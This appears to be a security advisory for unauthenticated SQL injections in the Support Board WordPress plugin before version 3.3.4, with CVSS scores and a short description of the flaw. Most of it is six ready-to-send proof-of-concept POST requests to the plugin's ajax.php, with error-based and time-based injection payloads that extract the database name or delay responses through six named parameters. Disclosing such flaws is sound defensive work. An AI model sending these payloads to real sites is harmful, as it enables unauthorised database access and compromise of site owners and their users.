Support Board < 3.3.4 - Multiple Unauthenticated SQL Injections

2021-09-0300:00:00

John Jefferson Li

107

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

JSON

The plugin does not escape multiple POST parameters (such as status_code, department, user_id, conversation_id, conversation_status_code, and recipient_id) before using them in SQL statements, leading to SQL injections which are exploitable by unauthenticated users.

The login-cookie parameter is needed, but does not require to be logged in.

----- PoC 1: Error Based SQLi (status_code) -----

Request 

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: status_code (POST)

function=new-conversation&status_code=2"+AND+EXTRACTVALUE(4597,CONCAT("","DB+Name:+",(SELECT+(ELT(4597=4597,""))),database()))+AND+"fKoo"="fKoo&title=&department=&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 2: Error Based SQLi (department)-----

Request 

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: department (POST)

function=new-conversation&status_code=2o&title=&department=(UPDATEXML(5632,CONCAT(0x2e,"Database+Name:+",(SELECT+(ELT(5632=5632,""))),database()),3004))&agent_id=&routing=false&login-cookie=&user_id=46&language=false


----- PoC 3: Error Based SQLi (user_id) -----

Request 

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: user_id (POST)

function=send-message&user_id=-5"+AND+GTID_SUBSET(CONCAT("Database+Name:+",(SELECT+(ELT(3919=3919,""))),database()),3919)+AND+"wrOJ"="wrOJ&conversation_id=35&message=TEST+POC&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 4: Time Based SQLi (conversation_id)-----

Request

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_id (POST)

function=send-message&user_id=5&conversation_id=45"+AND+(SELECT 1479+FROM+(SELECT(SLEEP(5)))xttx)--+BOXv&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 5: Time Based SQLi (conversation_status_code)-----

Request

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: conversation_status_code (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false+WHERE+9793=9793+AND+(SELECT+4500+FROM+(SELECT(SLEEP(5)))oJCl)--+uAGp&queue=false&payload=false&recipient_id=false&login-cookie=&language=false


----- PoC 6: Time Based SQLi (recipient_id)-----

Request

POST /wp-content/plugins/supportboard/include/ajax.php HTTP/1.1
Vulnerable Parameter: recipient_id (POST)

function=send-message&user_id=5&conversation_id=45&message=test+&conversation_status_code=false&queue=false&payload=false&recipient_id=false+AND+(SELECT+7416+FROM+(SELECT(SLEEP(5)))eBhm)&login-cookie=&language=false